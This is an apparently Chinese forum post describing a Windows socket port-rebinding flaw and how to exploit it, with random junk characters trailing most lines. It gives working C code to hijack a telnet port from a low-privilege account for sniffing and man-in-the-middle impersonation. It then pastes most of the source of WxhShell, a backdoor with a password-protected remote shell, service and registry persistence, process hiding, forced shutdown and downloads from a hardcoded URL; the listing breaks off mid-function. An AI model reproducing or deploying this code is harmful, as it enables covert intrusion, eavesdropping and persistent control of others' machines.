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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yX7P5c.   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .30eO_msK  
% H/V iC  
  saddr.sin_family = AF_INET; u7(<YSOs  
-}x( MZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GUDz>(  
! mb<z^>5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q  h~  
2p|ed=ly%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )JA9bR <  
y?Cq{(  
  这意味着什么?意味着可以进行如下的攻击: 2r^G;,{  
;X;q8J^_K_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {J~VB~('  
0+{CN|0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8.WZC1N  
$ VTk0J-W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u; G-46  
2QIx~Er  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Fswr @du  
K3dg.>O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WzhY4"p  
_ ci8!PP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 taBCE?{  
j"5 $m@lgn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gr&YzbSX  
bDtb"V8e  
  #include %LjhK,'h  
  #include \%/Y(YVm  
  #include &"6%D|Z0  
  #include    +bdjZD3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L)"E_  
  int main() JRr'81\  
  { h?7@]&VJ  
  WORD wVersionRequested; b}HwvS:  
  DWORD ret; CaB@,L  
  WSADATA wsaData; S; Fj9\2)I  
  BOOL val; B`w@Xk'D  
  SOCKADDR_IN saddr; pq +~|  
  SOCKADDR_IN scaddr; >(He,o@M  
  int err; eKvQS}11  
  SOCKET s; @:w[(K[^b/  
  SOCKET sc; Qv B%X)J  
  int caddsize; Lq#$q>!K  
  HANDLE mt; )(V!& w6  
  DWORD tid;   s;W1YN  
  wVersionRequested = MAKEWORD( 2, 2 ); L %20tm  
  err = WSAStartup( wVersionRequested, &wsaData ); GUcGu5tw:  
  if ( err != 0 ) { Q@ghQGn#  
  printf("error!WSAStartup failed!\n"); -izZ D  
  return -1; VMl)_M:'  
  } ]I: h4hgw  
  saddr.sin_family = AF_INET; 0eFvcH:qG  
   I><sK-3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qm@v}pD  
\1nj=ca?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d)1Pl3+  
  saddr.sin_port = htons(23); jrN"en  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B&Iy_;  
  { |Ye%HpTTv  
  printf("error!socket failed!\n"); x.%x|6G*  
  return -1; "t&_!Rm  
  } oi\e[qE  
  val = TRUE; !Ct'H1J-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 94'0X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D:#e;K  
  { ' }T6dS  
  printf("error!setsockopt failed!\n"); wvz_)b N~A  
  return -1; cr>"LAi  
  } R4 AKp1Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Sp\ 7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {GhM,-%e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d: LP8  
NsF8`r g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eUEO~M2&U{  
  { !g7bkA  
  ret=GetLastError(); 0oPcZ""X]  
  printf("error!bind failed!\n"); ZU K'z  
  return -1; )uazB!X  
  } #G\;)pT  
  listen(s,2); Np2.X+  
  while(1) l~'NqmXe  
  { cIOM}/gqv  
  caddsize = sizeof(scaddr); (0!U,8zz  
  //接受连接请求 L@x#:s=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &pN/+,0E  
  if(sc!=INVALID_SOCKET) dS)c~:&+  
  { K!qV82b='{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i1ss}JJp*  
  if(mt==NULL) n]a/nv  
  { aqoxj[V^3L  
  printf("Thread Creat Failed!\n"); {hi'LA-4@  
  break; o06vC  
  } [fIElH<  
  } g3kF&+2i  
  CloseHandle(mt); KiYz]IM$4  
  } m$H(l4wB>  
  closesocket(s);  IA{I|g<  
  WSACleanup(); U( (F<  
  return 0; Wer.VL  
  }   ;H`>jI$  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1gh<nn  
  { G21cJi*  
  SOCKET ss = (SOCKET)lpParam; 7yFV.#K3O  
  SOCKET sc; .?LP$O=  
  unsigned char buf[4096]; F8OE  
  SOCKADDR_IN saddr; 1zWEK]2.R  
  long num; :GN7JxD#  
  DWORD val; +?y9EZB%  
  DWORD ret; tY0C& u2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =N<Z@'c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rF)[ Sed:T  
  saddr.sin_family = AF_INET; 1%k$9[!l%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [.LbX`K:  
  saddr.sin_port = htons(23); n81z 0lnr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [O\[,E"K  
  { #7"*Pxb#A  
  printf("error!socket failed!\n"); 65AG# O5R  
  return -1; D9-D%R,  
  } D/TEx2.=J3  
  val = 100; G;yh$n<"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +/Qgl  
  { ?0hEd9TU  
  ret = GetLastError(); 9MR,3/&N  
  return -1; Mhiz{Td  
  } ~-zch=+u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V^E.9fs,  
  { x$;kA}gy  
  ret = GetLastError(); g4NbzU[I  
  return -1; r0fEW9wL  
  } <ecif_a=m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m j@{hGP  
  { } 0x'm  
  printf("error!socket connect failed!\n"); !R"iV^?V  
  closesocket(sc); * v W#XDx  
  closesocket(ss); 5$Da\?Fpn  
  return -1; q}MPl2  
  } ]}HuK#  
  while(1) mrId`<L5l{  
  { 6ujePi <U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #P5tTCM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !/wR[`s9w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E'wJ+X9 +  
  num = recv(ss,buf,4096,0); 1Aw/-FxJ  
  if(num>0) #azD& 6`  
  send(sc,buf,num,0); 2#t35fU  
  else if(num==0) uwhb-.w  
  break; :Miri_l  
  num = recv(sc,buf,4096,0); 9Netnzv%  
  if(num>0) 2}8xY:|@(U  
  send(ss,buf,num,0); 3+d_5l;m)  
  else if(num==0) s6.#uT7h  
  break; =#K$b *#  
  } \SQwIM   
  closesocket(ss); C3z#A3&J  
  closesocket(sc); <j^bk"l p  
  return 0 ; t8\XO j  
  } 8oVQ:' 6  
q;L~5q."E  
^L +@oS  
========================================================== 5V"g,]'Nd  
:$?^ID  
下边附上一个代码,,WXhSHELL v5`Q7ZZ  
m[%*O#_  
========================================================== rA6lyzJ  
A0`#n|(Ad!  
#include "stdafx.h" Fg<rz&MR  
UqEpeLK  
#include <stdio.h> wU1h(D2&h  
#include <string.h> _pe_w{V-b6  
#include <windows.h> +*vg) F:  
#include <winsock2.h> E|>oseR  
#include <winsvc.h> NvU~?WN  
#include <urlmon.h> +=&A1{kR3  
lx"#S '^~  
#pragma comment (lib, "Ws2_32.lib") eh5j  
#pragma comment (lib, "urlmon.lib") N]iu o.  
41Htsj  
#define MAX_USER   100 // 最大客户端连接数  mZ^ev;  
#define BUF_SOCK   200 // sock buffer WZ]f \S  
#define KEY_BUFF   255 // 输入 buffer dzn[4  
C=uYX"  
#define REBOOT     0   // 重启 FEzjP$  
#define SHUTDOWN   1   // 关机 ubZcpqm?Q  
AHl1{* [  
#define DEF_PORT   5000 // 监听端口 [d}AlG!  
(M,IgSn9  
#define REG_LEN     16   // 注册表键长度 F|3iKK022  
#define SVC_LEN     80   // NT服务名长度 6x8P}?  
~L7@,d:  
// 从dll定义API ** !  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gn7P` t*.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mpysnKH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oo{3-+ ?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ne (zGJd  
hEv}g  
// wxhshell配置信息 \n`)>-  
struct WSCFG { AQ` `Dp  
  int ws_port;         // 监听端口  ]H_|E  
  char ws_passstr[REG_LEN]; // 口令 TEYn^/n~  
  int ws_autoins;       // 安装标记, 1=yes 0=no {'e%Hx  
  char ws_regname[REG_LEN]; // 注册表键名 T_=iJ: Q  
  char ws_svcname[REG_LEN]; // 服务名 ? j8S.d~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <4m@WG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z6+D=<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gV\{Qoj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yl#|+xYA5[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jJOs`'~Q\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !0k'fYCa  
+'f+0T\)  
}; ~qP_1() ?  
DLP G  
// default Wxhshell configuration ZI>')T<@j"  
struct WSCFG wscfg={DEF_PORT, ,2C{X+t  
    "xuhuanlingzhe", gvLzE&V}  
    1, zIE{U  
    "Wxhshell", ,9@JBV%_  
    "Wxhshell", okv`+VeA  
            "WxhShell Service", quGv q"Y>  
    "Wrsky Windows CmdShell Service", ejjL>'G/|%  
    "Please Input Your Password: ", 1#m'u5L  
  1, |1[3RnG S  
  "http://www.wrsky.com/wxhshell.exe", UBZ37P  
  "Wxhshell.exe" g{d(4=FM  
    }; +91j 1?  
VvSe`E*  
// 消息定义模块 *eLKD_D`!C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X@ j.$0 eK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k6b0&il  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @V>BG8Y  
char *msg_ws_ext="\n\rExit."; jFr[T  
char *msg_ws_end="\n\rQuit."; d%wy@h  
char *msg_ws_boot="\n\rReboot..."; bh&Wy<Y  
char *msg_ws_poff="\n\rShutdown..."; 8M,AFZ>F  
char *msg_ws_down="\n\rSave to "; _b)=ERBbCo  
*`g'*R  
char *msg_ws_err="\n\rErr!"; !um~P  
char *msg_ws_ok="\n\rOK!"; p6Ie?Gg  
-)Zp"  
char ExeFile[MAX_PATH]; Uzzt+Iwm  
int nUser = 0; <QcQ.b  
HANDLE handles[MAX_USER]; .nG14i7C  
int OsIsNt; a(Fx1`}  
<jwQ&fm)/R  
SERVICE_STATUS       serviceStatus; 8uq`^l%KkZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9>I&Z8J$M  
(O@fgBM  
// 函数声明 g;n6hXq4  
int Install(void); "AcC\iq  
int Uninstall(void); suF<VJ)&s  
int DownloadFile(char *sURL, SOCKET wsh); dvX[,*wz  
int Boot(int flag); I)YUGA5  
void HideProc(void); q@(MD3OE  
int GetOsVer(void); mN&B|KWU  
int Wxhshell(SOCKET wsl); SE7mn6,%\  
void TalkWithClient(void *cs); \a7caT{  
int CmdShell(SOCKET sock); r\."=l  
int StartFromService(void); 5HqvSfq>?  
int StartWxhshell(LPSTR lpCmdLine); jo}yeGbU  
yRyUOTK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3Ud{W$Ym  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `Hp=1a  
y:Ne}S*ncE  
// 数据结构和表定义 7]`l"=/z  
SERVICE_TABLE_ENTRY DispatchTable[] = -2/&i  
{ qOs'Ljx6l  
{wscfg.ws_svcname, NTServiceMain}, $2J[lt?%  
{NULL, NULL} E3"j7y[S  
}; >.o<}!FW  
2K VX  
// 自我安装 7RZ HU+  
int Install(void) /Y#Q<=X  
{ zc.r&(d  
  char svExeFile[MAX_PATH]; #Y%(CI  
  HKEY key; &y&pjo6v1  
  strcpy(svExeFile,ExeFile); >z|bQW#2  
\TS.9 >\  
// 如果是win9x系统,修改注册表设为自启动 8mM`v  
if(!OsIsNt) { 'A{B[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uGU-MC *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >v'@p  
  RegCloseKey(key); j^)=<+Q;=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *bl|[(pP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6c[Slq!KA  
  RegCloseKey(key); ZU68\cL  
  return 0; 8O| w(z  
    } =v(&qh9Q2  
  } HXb^K  
} k!0vpps  
else { @>q4hYF  
-_^#7]  
// 如果是NT以上系统,安装为系统服务 Y;1s=B9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u-u:7VtH0=  
if (schSCManager!=0) U7xKu75G1  
{ |<2<`3  
  SC_HANDLE schService = CreateService J;S Z"I'  
  ( Aj{G=AT  
  schSCManager, :qvA'.L/;z  
  wscfg.ws_svcname, R+5yyk\  
  wscfg.ws_svcdisp, pebNE3`#  
  SERVICE_ALL_ACCESS, ^5q}M'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )CoJ9PO7  
  SERVICE_AUTO_START, Q6$^lRNOpk  
  SERVICE_ERROR_NORMAL, y3Ul}mVhA  
  svExeFile, ?.g="{5X  
  NULL, RV>n Op}R  
  NULL, l(Y\@@t1  
  NULL, ow4|GLU^;  
  NULL, MUi#3o\f  
  NULL Ij?Qs{V  
  ); d;g]OeF  
  if (schService!=0) X&gXhr#dL\  
  { tpQ8 m(  
  CloseServiceHandle(schService); ;%mdSaf  
  CloseServiceHandle(schSCManager); }*|aVBvU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1Gw_S?$7  
  strcat(svExeFile,wscfg.ws_svcname); bW2Msv/H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c|F26$rv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F#Bi*YY  
  RegCloseKey(key); +a|u,'u  
  return 0; 7,3 g{8  
    } A",Xn/d  
  } F$HL \y  
  CloseServiceHandle(schSCManager); GXwQ )P5]  
} yPk s,7U  
} 1>)uI@?Rb  
Q(BM0n)f  
return 1; $%z M Z  
} DcsQ6  
',s{N9  
// 自我卸载 9=9R"X>L  
int Uninstall(void) LDbo=w  
{ OyATb{`'  
  HKEY key; yJ2A!id  
rW[7 _4  
if(!OsIsNt) { )AXa.y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2$O6%0  
  RegDeleteValue(key,wscfg.ws_regname); BFPy~5W  
  RegCloseKey(key); Wl{wY,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kj@m5`G  
  RegDeleteValue(key,wscfg.ws_regname); :o_6  
  RegCloseKey(key); zvKypx  
  return 0; z<u@::  
  } v;:. k,E0  
}  V/t-  
} *?!A  
else { kjRL|qx`a;  
*W<|5<<u@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fYzZW  
if (schSCManager!=0) ,,~|o3cfq  
{ Zrp9`~_g<!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E|ZLz~  
  if (schService!=0) +f\r?8s  
  { j12khp?  
  if(DeleteService(schService)!=0) { cxxrvP-  
  CloseServiceHandle(schService); 'cf8VD  
  CloseServiceHandle(schSCManager); '+iqbcUd,  
  return 0; .!Os'Y9[,  
  } G;;iGN  
  CloseServiceHandle(schService); w6 .J&O  
  } |r/4 ({n  
  CloseServiceHandle(schSCManager); \q:PU6q  
} }tPI#[cfK  
} g({dD;  
Y -G;;~  
return 1; K2ry@haN  
} 8p.O rdp  
ek]CTUl*  
// 从指定url下载文件 Zl7m:b2M  
int DownloadFile(char *sURL, SOCKET wsh) _.BX#BIF  
{ uDG#L6  
  HRESULT hr;  `AxhA.&V  
char seps[]= "/"; :\,3=suWq  
char *token; [(/IV+  
char *file; A!p70km2  
char myURL[MAX_PATH]; Y?V>%eBu  
char myFILE[MAX_PATH]; ]F1ZeAh5  
>@St Kj  
strcpy(myURL,sURL); >TwL&la  
  token=strtok(myURL,seps); P*6&0\af|  
  while(token!=NULL) M UqV$#4@I  
  { (C!33s1  
    file=token; J2Eb"y>/;  
  token=strtok(NULL,seps); Pt8 U0)i)  
  } Xw<Nnvz6  
"~aCW~  
GetCurrentDirectory(MAX_PATH,myFILE); ^r0mx{i&  
strcat(myFILE, "\\"); 9 e0Oj3!B  
strcat(myFILE, file); ompkDl\E  
  send(wsh,myFILE,strlen(myFILE),0); 2B&|0&WI  
send(wsh,"...",3,0); "P {T]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F<N{ x^  
  if(hr==S_OK) I:,D:00+  
return 0; Wo~#R   
else y1+~IjY  
return 1; ee{8C~  
MYF6tZ*  
} nh+f,HtSt  
mdPEF)-  
// 系统电源模块 PV/S zfvIq  
int Boot(int flag) Mwd(?o  
{ o;2QZ"v  
  HANDLE hToken; M}BqSzd*  
  TOKEN_PRIVILEGES tkp; aC=D_JJ\  
Irnfr\l.  
  if(OsIsNt) { :s`\jJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }dO^q-t$3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7!-y72qx  
    tkp.PrivilegeCount = 1; 63n<4VSH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vpsv@\@J>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pt+[BF6P  
if(flag==REBOOT) { #OVf2  "  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q(I`g;MF  
  return 0; & !I$  
} 5rx;?yvn  
else { sy;_%,}N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c;pv< lX'  
  return 0; 6_h'0~3?`  
} O6$d@r;EK]  
  } NM_Xy<.~E  
  else { 9 WhZ= Xk  
if(flag==REBOOT) {  ]7yr.4?a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p2: >m\  
  return 0; 27-GfC=7*  
} JM-+p  
else { Yx{qVU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kt3 ]r:&J  
  return 0; 9k[>(LC  
} wc#E:GJcK  
} 'lD"{^  
L\Y4$e9bF8  
return 1; ;}k9YlQrN  
} 8e3I@mv  
hbg:}R=B<  
// win9x进程隐藏模块 R:t>P Fwo  
void HideProc(void) }{.0mu9  
{ oyeJ"E2  
EFNi# D8s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I?_YL*  
  if ( hKernel != NULL ) 3.?kxac  
  { @XL5$k[Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ij<6gv~ n"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c;dMXv   
    FreeLibrary(hKernel); e=m=IVY #W  
  } 1$#{om9  
fyE#8h_>4  
return; +__PT4ps  
} ^<VJ8jk<  
[|!A3o  
// 获取操作系统版本 K7CrRT3>6  
int GetOsVer(void) H<`<5M8  
{ M'D l_dx-  
  OSVERSIONINFO winfo; byTTLs,}d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (7Q Fy  
  GetVersionEx(&winfo); R#x~f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Btgxzf  
  return 1; ',Q|g^rF]  
  else NP#:} )  
  return 0; kED1s's  
} 7} 2Aq  
B<" `<oG@|  
// 客户端句柄模块 BrO" _  
int Wxhshell(SOCKET wsl) Dxlpo! ?#  
{ gx',~  
  SOCKET wsh; j aEUz5  
  struct sockaddr_in client; @jxAU7!  
  DWORD myID; h vO  
WQ1~9#  
  while(nUser<MAX_USER) muJR~4  
{ 88l\8k4r  
  int nSize=sizeof(client); RMvq\J}w!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2`;&Uwt  
  if(wsh==INVALID_SOCKET) return 1; Z=&cBv4Fs  
f6r~Ycf,f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $ rU"Krf67  
if(handles[nUser]==0) 1\aJ[t  
  closesocket(wsh); %7y8a`}  
else zG. \xmp  
  nUser++; vk&6L%_~a  
  } ^I CSs]}1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y%1 94fY$  
-0>gq$/N=^  
  return 0; +338z<'Z!  
} 4{rqGC /  
JE<w7:R&  
// 关闭 socket Sbp].3^j  
void CloseIt(SOCKET wsh) W:gpcR]>  
{ CVy\']  
closesocket(wsh); qLYz-P'ik  
nUser--; _ / >JM0  
ExitThread(0); IGQcQ/M  
} j*' +f~ A  
<(c_[o/  
// 客户端请求句柄 5mYX#//:  
void TalkWithClient(void *cs) iX|K4.Pz{  
{ lPaTkZw  
;[-TsX:  
  SOCKET wsh=(SOCKET)cs; fR$_=WWN>h  
  char pwd[SVC_LEN]; ' %&gER  
  char cmd[KEY_BUFF]; js..k*j  
char chr[1]; ^P}jn`4  
int i,j; d^(7\lw|  
`i:DmIoz  
  while (nUser < MAX_USER) { @?vC4+'  
PptVneujI  
if(wscfg.ws_passstr) { R9z:K_d,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [(rT,31cW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `]7==c #Y  
  //ZeroMemory(pwd,KEY_BUFF); ?bH&F  
      i=0; m0Geq.  
  while(i<SVC_LEN) { }nUq=@ej  
SYE+A`a  
  // 设置超时 2t[P-on  
  fd_set FdRead; A+w'quXn  
  struct timeval TimeOut; }B e;YIhG  
  FD_ZERO(&FdRead); h0O t>e"  
  FD_SET(wsh,&FdRead); zo| '  
  TimeOut.tv_sec=8; h4#y'E!,Z  
  TimeOut.tv_usec=0; F(?O7z"d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -Lhq.Q*a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B{ Ab #  
:*} -,{uX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C==yl"w  
  pwd=chr[0]; v8} vk]b  
  if(chr[0]==0xd || chr[0]==0xa) { .sCj3sX*  
  pwd=0; VtN1 [}  
  break; \'Q rJ ?D  
  } CBr(a'3{Z  
  i++; 3%[;nhbA7  
    } g2;lEW  
;p+[R+ )  
  // 如果是非法用户,关闭 socket [eO^C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :;hz!6!  
} 7,lnfCm H  
lsaA    
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y '[VZ$^i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gl"|t't(  
N<PDQ  
while(1) { 0MI4"<  
.0Kc|b=w  
  ZeroMemory(cmd,KEY_BUFF); Uc;~q-??#  
re~T,PPM  
      // 自动支持客户端 telnet标准   ZfMs6`Wv 1  
  j=0; KTq+JT u  
  while(j<KEY_BUFF) { 6Hp+?mmh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >t_h/:JZ)  
  cmd[j]=chr[0]; "2~L  
  if(chr[0]==0xa || chr[0]==0xd) { _70Z1_ ;  
  cmd[j]=0; @V&c=8) 8  
  break; g\% Z+Dc  
  } AU1U?En  
  j++; E|vXM"zFl  
    } [=BccT:b  
,gpZz$Ef(  
  // 下载文件 z"97AXu  
  if(strstr(cmd,"http://")) { n_4 r'w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7 x'2  
  if(DownloadFile(cmd,wsh)) uOO\!Hqq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jF}-dfe  
  else Q+oV? S3{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U`aB&[=$  
  } k2@]nW"S  
  else { 4{@{VsXN  
BsU}HuQZQ  
    switch(cmd[0]) { ;1HzY\d%<  
  q6,z 1A"  
  // 帮助 |h?2~D!+d  
  case '?': { +CM>]Ze  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4*ZY#7h  
    break; .ht-*  
  } P)l_ :;&  
  // 安装 f"*k>=ETI  
  case 'i': { =C2KHNc  
    if(Install()) vc :%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /&c2O X|Z  
    else g#MLA5%=u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >J5C.hx  
    break; T]JmnCX>:  
    } \_  V*Cs  
  // 卸载 w_f.\\1r  
  case 'r': { f14^VTzP/#  
    if(Uninstall()) RA!q)/ +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /5<=m:  
    else 8t3m$<7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <.mH-Y5i  
    break; AhD C5ue=  
    } jU $G<G  
  // 显示 wxhshell 所在路径 sH.=Faos  
  case 'p': { _jc_(;KPF  
    char svExeFile[MAX_PATH]; O%3Hp.|!  
    strcpy(svExeFile,"\n\r"); <PVwf`W.  
      strcat(svExeFile,ExeFile); lm6hFvEZ  
        send(wsh,svExeFile,strlen(svExeFile),0); D#AqZS>B  
    break; ME$J42  
    } i y8Jl  
  // 重启 0,nz*UDk  
  case 'b': { - V:HT j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,3!$mQL=  
    if(Boot(REBOOT)) *E*oWb]H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Oj 1@0*0  
    else { TF%Xb>jy[  
    closesocket(wsh); c"v75lW-J  
    ExitThread(0); 6\ yBA_ z  
    } a}uYv:  
    break; \ )=WA!  
    } xorafL  
  // 关机 qm3H/cC9+  
  case 'd': { 4EHrd;|   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > 1(J  
